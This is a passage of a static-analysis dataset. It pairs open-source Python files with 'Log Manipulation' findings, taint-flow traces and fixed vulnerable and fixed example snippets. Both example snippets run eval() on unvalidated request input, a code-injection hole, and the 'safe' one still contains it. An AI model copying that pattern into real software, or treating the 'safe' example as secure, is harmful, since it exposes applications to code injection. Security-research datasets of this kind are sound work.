log.error('_edit_cart_range: SQL query failed for request %s: '\n +' SQL \"%s\" ERR \"%s\"', request.GET, sql, e)\n ret = HttpResponseServerError(HTTP500_DATABASE_ERROR(request))\n return ret\n\n num_wanted = num_new-num_old\n if (num_cart_and_recycle+num_wanted >\n settings.MAX_SELECTIONS_ALLOWED):\n return (f'Your request to add {num_wanted:,d} observations ('\n +f'OPUS IDs {ids[0]} to {ids[1]}) '\n +f'to the cart failed. The resulting cart and recycle '\n +f'bin would have more than the maximum '\n +f'({settings.MAX_SELECTIONS_ALLOWED:,d}) '\n +f'allowed. None of the observations were added.')\n\n sql_params = []\n sql = 'REPLACE INTO '+q('cart')+' ('\n sql += q('session_id')+','+q('obs_general_id')+','+q('opus_id')\n sql += ','+q('recycled')+')'\n sql += ' SELECT %s,'\n sql += q('obs_general')+'.'+q('id')+','\n sql_params.append(session_id)\n # We always set recycled to \"0\" on addrange. If an observation is\n # already in the cart, it won't be changed. If it's in the recycle bin,\n # then it will have recycled set to 0. The recycle_bin parameter is\n # ignored.\n sql += q('obs_general')+'.'+q('opus_id')\n if action == 'addrange':\n sql += ',0'\n else:\n # removerange with recyclebin=1 just means to set the recycled flag.\n # In this case sql_from will be restricted to items already in the\n # cart.\n sql += ',1'\n sql += sql_from\n sql_params += sql_from_params\n\n elif action == 'removerange': # recycle_bin == 0\n sql_params = []\n sql = 'DELETE '\n sql += q('cart')+' FROM '+q('cart')+' INNER JOIN '\n sql += q(user_query_table)+' ON '\n sql += q(user_query_table)+'.'+q('id')+'='\n sql += q('cart')+'.'+q('obs_general_id')\n else:\n log.error('_edit_cart_range: Unknown action %s: %s', action,\n request.GET)\n ret = HttpResponseServerError(HTTP500_INTERNAL_ERROR(request))\n return ret\n\n sql += sql_where\n\n log.debug('_edit_cart_range SQL: %s %s', sql, sql_params)\n cursor.execute(sql, sql_params)\n\n if temp_table_name:\n sql = 'DROP TABLE '+q(temp_table_name)\n try:\n cursor.execute(sql)\n if throw_random_http500_error(): # pragma: no cover\n raise DatabaseError('random')\n except DatabaseError as e:\n log.error('_edit_cart_range: \"%s\" returned %s',\n sql, str(e))\n ret = HttpResponseServerError(HTTP500_DATABASE_ERROR(request))\n return ret\n\n return False\n\n\ndef _edit_cart_addall(request, session_id, recycle_bin, api_code):\n \"Add all results from a search into the cart table.\"\n cursor = connection.cursor()\n view = request.GET.get('view', 'browse')\n if view == 'browse':\n q = connection.ops.quote_name\n\n # We ignore recycle_bin here because it doesn't mean anything\n count, user_query_table, err = get_result_count_helper(request, api_code)\n if err is not None:\n return err\n\n num_cart_and_recycle = (Cart.objects\n .filter(session_id__exact=session_id)\n .count())\n\n # Subtract off the number of observations already in the cart or\n # recycle bin because adding them back won't change the count.\n sql = 'SELECT COUNT(*) FROM '+q('cart')\n # INNER JOIN because we only want rows that exist in the\n # user_query_table\n sql += ' INNER JOIN '+q(user_query_table)+' ON '\n sql += q(user_query_table)+'.'+q('id')+'='\n sql += q('cart')+'.'+q('obs_general_id')\n sql += ' WHERE session_id=%s'\n values = [session_id]\n try:\n cursor.execute(sql, values)\n num_dup = cursor.fetchone()[0]\n if throw_random_http500_error(): # pragma: no cover\n raise DatabaseError('random')\n except DatabaseError as e: # pragma: no cover\n log.error('_edit_cart_addall: SQL query failed for request %s: '\n +' SQL \"%s\" ERR \"%s\"', request.GET, sql, e)\n ret = HttpResponseServerError(HTTP500_DATABASE_ERROR(request))\n return ret\n\n if num_cart_and_recycle+count-num_dup > settings.MAX_SELECTIONS_ALLOWED:\n return (f'Your request to add all {count:,d} observations '\n +f'to the cart failed. The resulting cart and recycle bin '\n +f'would have more than the maximum '\n +f'({settings.MAX_SELECTIONS_ALLOWED:,d}) '\n +f'allowed. None of the observations were added.')\n\n values = [session_id]\n sql = 'REPLACE INTO '+q('cart')+' ('\n sql += q('session_id')+','+q('obs_general_id')+','+q('opus_id')\n sql += ','+q('recycled')+')'\n sql += ' SELECT %s,'\n sql += q('obs_general')+'.'+q('id')+','+q('obs_general')+'.'+q('opus_id')\n # Always set recycled=0\n sql += ',0'\n sql += ' FROM '+q('obs_general')\n # INNER JOIN because we only want rows that exist in the\n # user_query_table\n sql += ' INNER JOIN '+q(user_query_table)+' ON '\n sql += q(user_query_table)+'.'+q('id')+'='+q('obs_general')+'.'+q('id')\n\n log.debug('_edit_cart_addall SQL: %s %s', sql, values)\n cursor.execute(sql, values)\n\n elif view == 'cart':\n # Here recycle_bin determines whether or not we ignore the recycled\n # column. Admittedly view=cart&recyclebin=0 is silly, but we still\n # allow it and just don't do anything.\n if recycle_bin:\n values = [session_id]\n q = connection.ops.quote_name\n sql = 'UPDATE '+q('cart')+' SET recycled=0 WHERE session_id=%s'\n log.debug('_edit_cart_addall SQL: %s %s', sql, values)\n cursor.execute(sql, values)\n\n return False\n\n\n################################################################################\n#\n# Support routines - Downloads\n#\n################################################################################\n\n\ndef _zip_filename(opus_id, url_file_only):\n \"Create a unique .zip filename for a user's cart.\"\n random_ascii = random.choice(string.ascii_letters).lower()\n timestamp = \"T\".join(str(datetime.datetime.now()).split(' '))\n # Windows doesn't like ':' in filenames\n timestamp = timestamp.replace(':', '-')\n data_url = 'url' if url_file_only else 'data'\n if opus_id:\n return f'pdsrms-{data_url}-{random_ascii}-{timestamp}_{opus_id}.zip'\n return f'pdsrms-{data_url}-{random_ascii}-{timestamp}.zip'\n\n\ndef _csv_helper(request, opus_id, api_code=None):\n \"Create the data for a CSV file containing the cart data.\"\n slugs = request.GET.get('cols', settings.DEFAULT_COLUMNS)\n (page_no, start_obs, limit,\n page, order, aux, error) = get_search_results_chunk(\n request,\n use_cart=(opus_id is None),\n ignore_recycle_bin=True,\n limit='all',\n opus_id=opus_id,\n api_code=api_code)\n\n slug_list = cols_to_slug_list(slugs)\n\n return labels_for_slugs(slug_list), page, error\n\n\ndef _create_csv_file(request, csv_file_name, opus_id, api_code=None):\n \"Create a CSV file containing the cart data.\"\n column_labels, page, error = _csv_helper(request, opus_id, api_code)\n if error is not None:\n return get_search_results_chunk_error_handler(error, api_code)\n\n if column_labels is None or throw_random_http404_error():\n ret = Http404(HTTP404_UNKNOWN_SLUG(None, request))\n exit_api_call(api_code, ret)\n raise ret\n\n with open(csv_file_name, 'a') as csv_file:\n wr = csv.writer(csv_file)\n wr.writerow(column_labels)\n wr.writerows(page)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 104, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "get_session_id"}}, {"lineNo": 104, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 119, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "_get_download_info"}}, {"lineNo": 119, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "_get_download_info"}}, {"lineNo": 119, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "b8ff26c5795e75bfcccea68d2c409307155bdbce6f140c1a61dafde7b9840b57", "license": {"spdx": ["Apache-2.0"], "repo": "uw-it-aca/myuw", "path": "myuw/dao/card_display_dates.py", "repo_head_hexsha": "3fa1fabeb3c09d81a049f7c1a8c94092d612438a", "stack_hexsha": "05d5af4312e21f1f9ab8d022d2b76d516a33aa34", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 93, "entireCode": "# Copyright 2021 UW-IT, University of Washington\n# SPDX-License-Identifier: Apache-2.0\n\n\"\"\"\nGenerates the booleans to determine card visibility,\nbased on dates in either the current, next, or previous term.\nhttps://docs.google.com/document/d/14q26auOLPU34KFtkUmC_bkoo5dAwegRzgpwmZEQMhaU\n\"\"\"\n\nimport logging\nimport traceback\nfrom datetime import datetime, timedelta\nfrom myuw.dao import log_err\nfrom myuw.dao.term import get_comparison_datetime,\\\n get_current_quarter, get_next_quarter, get_previous_quarter,\\\n get_term_after, is_in_summer_quarter,\\\n is_in_summer_b_term, get_bod_current_term_class_start,\\\n get_eod_current_term_last_instruction, get_bod_7d_before_last_instruction,\\\n get_eod_7d_after_class_start, get_eod_current_term_last_final_exam\nfrom myuw.dao.term import get_bod_class_start_quarter_after as\\\n get_bod_quarter_after\nfrom myuw.dao.iasystem import in_coursevel_fetch_window\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef in_show_grades_period(term, request):\n return (term is not None and request is not None and\n get_comparison_datetime(request) < get_bod_quarter_after(term))\n\n\ndef get_card_visibilty_date_values(request=None):\n values = get_values_by_date(get_comparison_datetime(request),\n request)\n set_js_overrides(request, values)\n return values\n\n\ndef get_values_by_date(now, request):\n \"\"\"\n now is a datetime object of 1 second after the beginning of the day.\n \"\"\"\n reg_data = get_reg_data(now, request)\n data = {\n \"is_after_7d_before_last_instruction\":\n is_after_7d_before_last_instruction(now, request),\n \"is_after_grade_submission_deadline\":\n is_before_bof_term(now, request),\n \"is_after_last_day_of_classes\":\n not is_before_last_day_of_classes(now, request),\n \"is_after_start_of_registration_display_period\":\n reg_data[\"after_start\"],\n \"is_after_start_of_summer_reg_display_period1\":\n reg_data[\"after_summer1_start\"],\n \"is_after_start_of_summer_reg_display_periodA\":\n reg_data[\"after_summerA_start\"],\n \"is_before_eof_7days_of_term\":\n is_before_eof_7d_after_class_start(now, request),\n \"is_before_end_of_finals_week\":\n is_before_eof_finals_week(now, request),\n \"is_before_end_of_registration_display_period\":\n reg_data[\"after_start\"],\n \"is_before_end_of_summer_reg_display_periodA\":\n reg_data[\"after_summerA_start\"],\n \"is_before_end_of_summer_reg_display_period1\":\n reg_data[\"after_summer1_start\"],\n \"is_before_first_day_of_term\":\n is_before_bof_term(now, request),\n \"is_before_last_day_of_classes\":\n is_before_last_day_of_classes(now, request),\n \"myplan_peak_load\": during_myplan_peak_load(now, request),\n \"reg_period1_started\": reg_data[\"period1_started\"],\n \"is_summer\": is_in_summer_quarter(request),\n \"is_after_summer_b\": is_in_summer_b_term(request),\n \"in_coursevel_fetch_window\": in_coursevel_fetch_window(request),\n \"comparison_date\": get_comparison_datetime(request)\n }\n try:\n last_term = get_previous_quarter(request)\n data[\"current_summer_term\"] = \"{},summer\".format(last_term.year)\n data[\"last_term\"] = \"{},{}\".format(last_term.year, last_term.quarter)\n except Exception:\n log_err(logger, \"get_previous_quarter\", traceback, request)\n return data\n\n\ndef is_before_bof_term(now, request):\n \"\"\"\n The term switches after the grade submission deadline.\n @return true if it is before the begining of the 1st day of instruction\n \"\"\"\n logger.debug(\"{} is_before_bof_term {} ==> {}\".format(\n now, get_bod_current_term_class_start(request),\n now < get_bod_current_term_class_start(request)))\n return now < get_bod_current_term_class_start(request)\n\n\ndef is_before_eof_7d_after_class_start(now, request):\n \"\"\"\n @return true if it is before the end of the 7 days\n after the instruction start day\n \"\"\"\n logger.debug(\"{} is_before_eof_7d_after_class_start {} ==> {}\".format(\n now, get_eod_7d_after_class_start(request),\n now < get_eod_7d_after_class_start(request)))\n return now < get_eod_7d_after_class_start(request)\n\n\ndef is_after_7d_before_last_instruction(now, request):\n \"\"\"\n @return true if it is after the begining of 7 days\n before instruction end\n \"\"\"\n logger.debug(\"{} is_after_7d_before_last_instruction {} ==> {}\".format(\n now, get_bod_7d_before_last_instruction(request),\n now > get_bod_7d_before_last_instruction(request)))\n return now > get_bod_7d_before_last_instruction(request)\n\n\ndef is_before_last_day_of_classes(now, request):\n \"\"\"\n @return true if it is before the end of the last day of classes\n \"\"\"\n logger.debug(\"{} is_before_last_day_of_classes {} ==> {}\".format(\n now, get_eod_current_term_last_instruction(request),\n now < get_eod_current_term_last_instruction(request)))\n return now < get_eod_current_term_last_instruction(request)\n\n\ndef is_before_eof_finals_week(now, request):\n \"\"\"\n @return true if it is before the end of the last day of finalsweek\n \"\"\"\n logger.debug(\"{} is_before_eof_finals_week {} ==> {}\".format(\n now, get_eod_current_term_last_final_exam(request),\n now < get_eod_current_term_last_final_exam(request)))\n return now < get_eod_current_term_last_final_exam(request)\n\n\ndef during_myplan_peak_load(now, request):\n reg_data = get_reg_data(now, request)\n logger.debug(\"{} myplan_peak_load ==> {}\".format(\n now, reg_data[\"myplan_peak_load\"]))\n return reg_data[\"myplan_peak_load\"]\n\n\ndef get_reg_data(now, request):\n \"\"\"\n now is the second after mid-night\n \"\"\"\n if hasattr(request, \"myuw_reg_data\"):\n return request.myuw_reg_data\n term_reg_data = {\n \"after_start\": False,\n \"after_summer1_start\": False,\n \"after_summerA_start\": False,\n \"period1_started\": False,\n \"myplan_peak_load\": False\n }\n next_term = get_next_quarter(request)\n get_term_reg_data(now, next_term, term_reg_data)\n # We need to show this term's registration stuff, because\n # the period 2 stretches past the grade submission deadline\n current_term = get_current_quarter(request)\n get_term_reg_data(now, current_term, term_reg_data)\n # We also need to be able to show the term after next, in spring quarter\n term_after_next = get_term_after(next_term)\n get_term_reg_data(now, term_after_next, term_reg_data)\n request.myuw_reg_data = term_reg_data\n return term_reg_data\n\n\ndef is_term_myplan_peak(now, term, data):\n now_date = now.date()\n if (now_date >= term.registration_period1_start and\n now_date <= term.registration_period1_end):\n peak_start_time = datetime(now.year, now.month, now.day, 5, 30, 0)\n peak_end_time = datetime(now.year, now.month, now.day, 6, 30, 0)\n if (now >= peak_start_time and now <= peak_end_time):\n return True\n return False\n\n\ndef get_term_reg_data(now, term, data):\n if term.registration_period1_start is None:\n data[\"myplan_peak_load\"] = False\n return\n\n if not (data[\"myplan_peak_load\"] is True):\n data[\"myplan_peak_load\"] = is_term_myplan_peak(now, term, data)\n\n now = now.date()\n if term.quarter == \"summer\":\n if now >= term.registration_period1_start - timedelta(days=7) and\\\n now < term.registration_period1_start + timedelta(days=7):\n data[\"after_summerA_start\"] = True\n data[\"before_summerA_end\"] = True\n if now >= term.registration_period1_start:\n data[\"period1_started\"] = True\n\n elif now >= term.registration_period1_start + timedelta(days=7) and\\\n now < term.registration_period2_start + timedelta(days=7):\n data[\"after_summer1_start\"] = True\n data[\"before_summer1_end\"] = True\n if now >= term.registration_period1_start:\n data[\"period1_started\"] = True\n else:\n if now >= term.registration_period1_start - timedelta(days=14) and\\\n now < term.registration_period2_start + timedelta(days=7):\n data[\"after_start\"] = True\n data[\"before_end\"] = True\n if now >= term.registration_period1_start:\n data[\"period1_started\"] = True\n\n\ndef set_js_overrides(request, values):\n after_reg = 'is_after_start_of_registration_display_period'\n before_reg = 'is_before_end_of_registration_display_period'\n MAP = {'myuw_after_submission': 'is_after_grade_submission_deadline',\n 'myuw_after_last_day': 'is_after_last_day_of_classes',\n 'myuw_after_reg': after_reg,\n 'myuw_before_finals_end': 'is_before_end_of_finals_week',\n 'myuw_before_last_day': 'is_before_last_day_of_classes',\n 'myuw_before_end_of_reg_display': before_reg,\n 'myuw_before_first_day': 'is_before_first_day_of_term',\n 'myuw_before_end_of_first_week': 'is_before_eof_7days_of_term',\n 'myuw_after_eval_start': 'is_after_7d_before_last_instruction',\n 'myplan_peak_load': 'myplan_peak_load',\n 'myuw_in_coursevel_fetch_window': 'in_coursevel_fetch_window'\n }\n\n for key in MAP:\n if key in request.session:\n values[MAP[key]] = request.session[key]", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 93, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_bod_current_term_class_start"}}]}} {"id": "382a6b776979cf59eef14684e8075585c6ddcc1510d3a0105c004225dece8cbc", "license": {"spdx": ["Apache-2.0"], "repo": "SlawekGawlowski/Ibmsecurity-QRadar", "path": "ibmsecurity/isam/aac/authentication/policies.py", "repo_head_hexsha": "a11a99fd1dd3545caafbd85eb5a850066ea163dc", "stack_hexsha": "0ce2796a78a58847bea02519234a1df4c66480b5", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 141, "entireCode": "import logging\nfrom ibmsecurity.utilities import tools\n\nlogger = logging.getLogger(__name__)\n\n# \"uri\" variable already used so using a different name\nmodule_uri = \"/iam/access/v8/authentication/policies\"\nrequires_modules = [\"mga\"]\nrequires_version = None\n\n\ndef get_all(isamAppliance, start=None, count=None, filter=None, sortBy=None, check_mode=False, force=False):\n \"\"\"\n Retrieve a list of authentication policies\n \"\"\"\n return isamAppliance.invoke_get(\"Retrieve a list of authentication policies\", \"{0}/{1}\".format(module_uri,\n tools.create_query_string(\n start=start,\n count=count,\n filter=filter,\n sortBy=sortBy)),\n requires_modules=requires_modules, requires_version=requires_version)\n\n\ndef get(isamAppliance, name, check_mode=False, force=False):\n \"\"\"\n Retrieve a specific authentication policy\n \"\"\"\n ret_obj = search(isamAppliance, name)\n if ret_obj['data'] != {}:\n return _get(isamAppliance, ret_obj['data'])\n else:\n return isamAppliance.create_return_object()\n\n\ndef _get(isamAppliance, id):\n \"\"\"\n Retrieve a specific authentication policy\n \"\"\"\n return isamAppliance.invoke_get(\"Retrieve a specific authentication policy\",\n \"{0}/{1}\".format(module_uri, id), requires_modules=requires_modules,\n requires_version=requires_version)\n\n\ndef set_file(isamAppliance, name, policy_file, uri, description=\"\",\n dialect=\"urn:ibm:security:authentication:policy:1.0:schema\", enabled=None, check_mode=False, force=False):\n # Read policy from file and call set()\n with open(policy_file, 'r') as myfile:\n policy = myfile.read().replace('\\n', '')\n return set(isamAppliance, name, policy, uri, description, dialect, enabled, check_mode, force)\n\n\ndef set(isamAppliance, name, policy, uri, description=\"\", dialect=\"urn:ibm:security:authentication:policy:1.0:schema\",\n enabled=None, check_mode=False, force=False):\n ret_obj = search(isamAppliance, name)\n if ret_obj['data'] == {}:\n return add(isamAppliance, name, policy, uri, description, dialect, enabled, check_mode, True)\n else:\n return update(isamAppliance, name, policy, uri, description, dialect, enabled, check_mode, force)\n\n\ndef add(isamAppliance, name, policy, uri, description=\"\", dialect=\"urn:ibm:security:authentication:policy:1.0:schema\",\n enabled=None, check_mode=False, force=False):\n \"\"\"\n Duplicate and create an authentication policy\n \"\"\"\n if force is True or _check(isamAppliance, name=name) is False:\n if check_mode is True:\n return isamAppliance.create_return_object(changed=True)\n else:\n warnings = []\n json_data = {\n \"name\": name,\n \"description\": description,\n \"policy\": policy,\n \"uri\": uri,\n \"dialect\": dialect\n }\n if enabled is not None:\n if isamAppliance.facts[\"version\"] < \"9.0.2.1\":\n warnings.append(\n \"Appliance is at version: {0}. Enabled parameter not supported unless atleast 9.0.2.1. Ignoring value.\".format(\n isamAppliance.facts[\"version\"]))\n else:\n json_data[\"enabled\"] = enabled\n return isamAppliance.invoke_post(\n \"Duplicate and create an authentication policy\", module_uri, json_data,\n requires_modules=requires_modules, requires_version=requires_version, warnings=warnings)\n\n return isamAppliance.create_return_object()\n\n\ndef delete(isamAppliance, id, check_mode=False, force=False):\n \"\"\"\n Delete an authentication policy\n \"\"\"\n if force is True or _check(isamAppliance, id=id) is True:\n if check_mode is True:\n return isamAppliance.create_return_object(changed=True)\n else:\n return isamAppliance.invoke_delete(\n \"Delete an authentication policy\",\n \"{0}/{1}\".format(module_uri, id), requires_modules=requires_modules, requires_version=requires_version)\n\n return isamAppliance.create_return_object()\n\n\ndef update(isamAppliance, name, policy, uri, description=\"\",\n dialect=\"urn:ibm:security:authentication:policy:1.0:schema\", enabled=None, check_mode=False, force=False):\n \"\"\"\n Update a specified authentication policy\n \"\"\"\n warnings = []\n needs_update = False\n json_data = {\n \"name\": name,\n \"description\": description,\n \"policy\": policy,\n \"uri\": uri,\n \"dialect\": dialect\n }\n if enabled is not None:\n if isamAppliance.facts[\"version\"] < \"9.0.2.1\":\n warnings.append(\n \"Appliance is at version: {0}. Enabled parameter not supported unless atleast 9.0.2.1. Ignoring value.\".format(\n isamAppliance.facts[\"version\"]))\n else:\n json_data[\"enabled\"] = enabled\n if force is not True:\n try:\n ret_obj = get(isamAppliance, name)\n id = ret_obj['data']['id']\n del ret_obj['data']['id']\n del ret_obj['data']['datecreated']\n del ret_obj['data']['lastmodified']\n del ret_obj['data']['userlastmodified']\n del ret_obj['data']['predefined']\n import ibmsecurity.utilities.tools\n exist_data = ibmsecurity.utilities.tools.json_sort(ret_obj['data'])\n new_data = ibmsecurity.utilities.tools.json_sort(json_data)\n logger.debug(\"Existing Data: {0}\".format(exist_data))\n logger.debug(\"Provided Data: {0}\".format(new_data))\n if exist_data != new_data:\n needs_update = True\n except:\n pass\n\n if force is True or needs_update is True:\n if check_mode is True:\n return isamAppliance.create_return_object(changed=True)\n else:\n return isamAppliance.invoke_put(\n \"Update a specified authentication policy\",\n \"{0}/{1}\".format(module_uri, id), json_data, requires_modules=requires_modules,\n requires_version=requires_version, warnings=warnings)\n\n return isamAppliance.create_return_object()\n\n\ndef _check(isamAppliance, id=None, name=None):\n \"\"\"\n Check if API Protection Definition already exists\n \"\"\"\n ret_obj = get_all(isamAppliance)\n\n for obj in ret_obj['data']:\n if (id is not None and obj['id'] == id) or (name is not None and obj['name'] == name):\n return True\n\n return False\n\n\ndef search(isamAppliance, name, check_mode=False, force=False):\n \"\"\"\n Retrieve the id for a given policy name\n \"\"\"\n ret_obj = isamAppliance.create_return_object()\n ret_obj_all = get_all(isamAppliance)\n\n for obj in ret_obj_all['data']:\n if obj['name'] == name:\n ret_obj['data'] = obj['id']\n break\n\n return ret_obj\n\n\ndef activate(isamAppliance, name, enabled=True, check_mode=False, force=False):\n \"\"\"\n Enable or disable a policy\n \"\"\"\n warnings = []\n if isamAppliance.facts[\"version\"] < \"9.0.2.1\":\n warnings.append(\n \"Appliance is at version: {0}. Enabled parameter not supported unless atleast 9.0.2.1. Ignoring value.\".format(\n isamAppliance.facts[\"version\"]))\n else:\n ret_obj = get(isamAppliance, name=name)\n if force or ret_obj['data']['enabled'] != enabled:\n if check_mode is True:\n return isamAppliance.create_return_object(changed=True, warnings=warnings)\n else:\n return update(isamAppliance, name=name, policy=ret_obj['data']['policy'], uri=ret_obj['data']['uri'],\n description=ret_obj['data']['description'], dialect=ret_obj['data']['dialect'],\n enabled=enabled)\n\n return isamAppliance.create_return_object(warnings=warnings)\n\n\ndef compare(isamAppliance1, isamAppliance2):\n \"\"\"\n Compare Authentication Policies between two appliances\n \"\"\"\n ret_obj1 = get_all(isamAppliance1)\n ret_obj2 = get_all(isamAppliance2)\n\n for obj in ret_obj1['data']:\n del obj['id']\n del obj['datecreated']\n del obj['lastmodified']\n del obj['userlastmodified']\n ret_obj = _get(isamAppliance1, ret_obj1['data']['id'])\n obj['policy'] = ret_obj['data']['policy']\n for obj in ret_obj2['data']:\n del obj['id']\n del obj['datecreated']\n del obj['lastmodified']\n del obj['userlastmodified']\n ret_obj = _get(isamAppliance2, ret_obj1['data']['id'])\n obj['policy'] = ret_obj['data']['policy']\n\n import ibmsecurity.utilities.tools\n return ibmsecurity.utilities.tools.json_compare(ret_obj1, ret_obj2,\n deleted_keys=['id', 'datecreated', 'lastmodified',\n 'userlastmodified'])", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 129, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "129"}}, {"lineNo": 141, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "82319d0d9dc83d575a40091363434b45543cdae458730a9c01bad75ad681a255", "license": {"spdx": ["MIT"], "repo": "lremember/VFC", "path": "test_scripts/ns_instance/duan/service/vfc/nfvo/lcm/lcm/ns/views/deprecated/create_ns_view.py", "repo_head_hexsha": "837559db1396091811382359100bfc60e1aab5b2", "stack_hexsha": "428b5eca1188b78557324447b1ddda687b1af59c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 62, "entireCode": "# Copyright 2018 ZTE Corporation.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport logging\n\nfrom drf_yasg.utils import swagger_auto_schema\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom lcm.ns.biz.ns_create import CreateNSService\nfrom lcm.ns.biz.ns_get import GetNSInfoService\nfrom lcm.ns.serializers.deprecated.ns_serializers import _CreateNsReqSerializer\nfrom lcm.ns.serializers.deprecated.ns_serializers import _CreateNsRespSerializer\nfrom lcm.ns.serializers.deprecated.ns_serializers import _QueryNsRespSerializer\nfrom lcm.pub.exceptions import NSLCMException\nfrom lcm.pub.exceptions import BadRequestException\nfrom lcm.pub.utils.values import ignore_case_get\nfrom .common import view_safe_call_with_log\n\nlogger = logging.getLogger(__name__)\n\n\nclass CreateNSView(APIView):\n @swagger_auto_schema(\n request_body=None,\n responses={\n status.HTTP_200_OK: _QueryNsRespSerializer(help_text=\"NS instances\", many=True),\n status.HTTP_500_INTERNAL_SERVER_ERROR: \"Inner error\"\n }\n )\n @view_safe_call_with_log(logger=logger)\n def get(self, request):\n logger.debug(\"CreateNSView::get\")\n ret = GetNSInfoService().get_ns_info()\n logger.debug(\"CreateNSView::get::ret=%s\", ret)\n resp_serializer = _QueryNsRespSerializer(data=ret, many=True)\n if not resp_serializer.is_valid():\n raise NSLCMException(resp_serializer.errors)\n return Response(data=resp_serializer.data, status=status.HTTP_200_OK)\n\n @swagger_auto_schema(\n request_body=_CreateNsReqSerializer(),\n responses={\n status.HTTP_201_CREATED: _CreateNsRespSerializer(),\n status.HTTP_400_BAD_REQUEST: \"Bad Request\",\n status.HTTP_500_INTERNAL_SERVER_ERROR: \"Inner error\"\n }\n )\n @view_safe_call_with_log(logger=logger)\n def post(self, request):\n logger.debug(\"Enter CreateNS: %s\", request.data)\n req_serializer = _CreateNsReqSerializer(data=request.data)\n if not req_serializer.is_valid():\n raise BadRequestException(req_serializer.errors)\n\n if ignore_case_get(request.data, 'test') == \"test\":\n return Response(\n data={'nsInstanceId': \"test\"},\n status=status.HTTP_201_CREATED\n )\n csar_id = ignore_case_get(request.data, 'csarId')\n ns_name = ignore_case_get(request.data, 'nsName')\n description = ignore_case_get(request.data, 'description')\n context = ignore_case_get(request.data, 'context')\n ns_inst_id = CreateNSService(\n csar_id,\n ns_name,\n description,\n context\n ).do_biz()\n\n logger.debug(\"CreateNSView::post::ret={'nsInstanceId':%s}\", ns_inst_id)\n resp_serializer = _CreateNsRespSerializer(\n data={'nsInstanceId': ns_inst_id,\n 'nsInstanceName': 'nsInstanceName',\n 'nsInstanceDescription': 'nsInstanceDescription',\n 'nsdId': 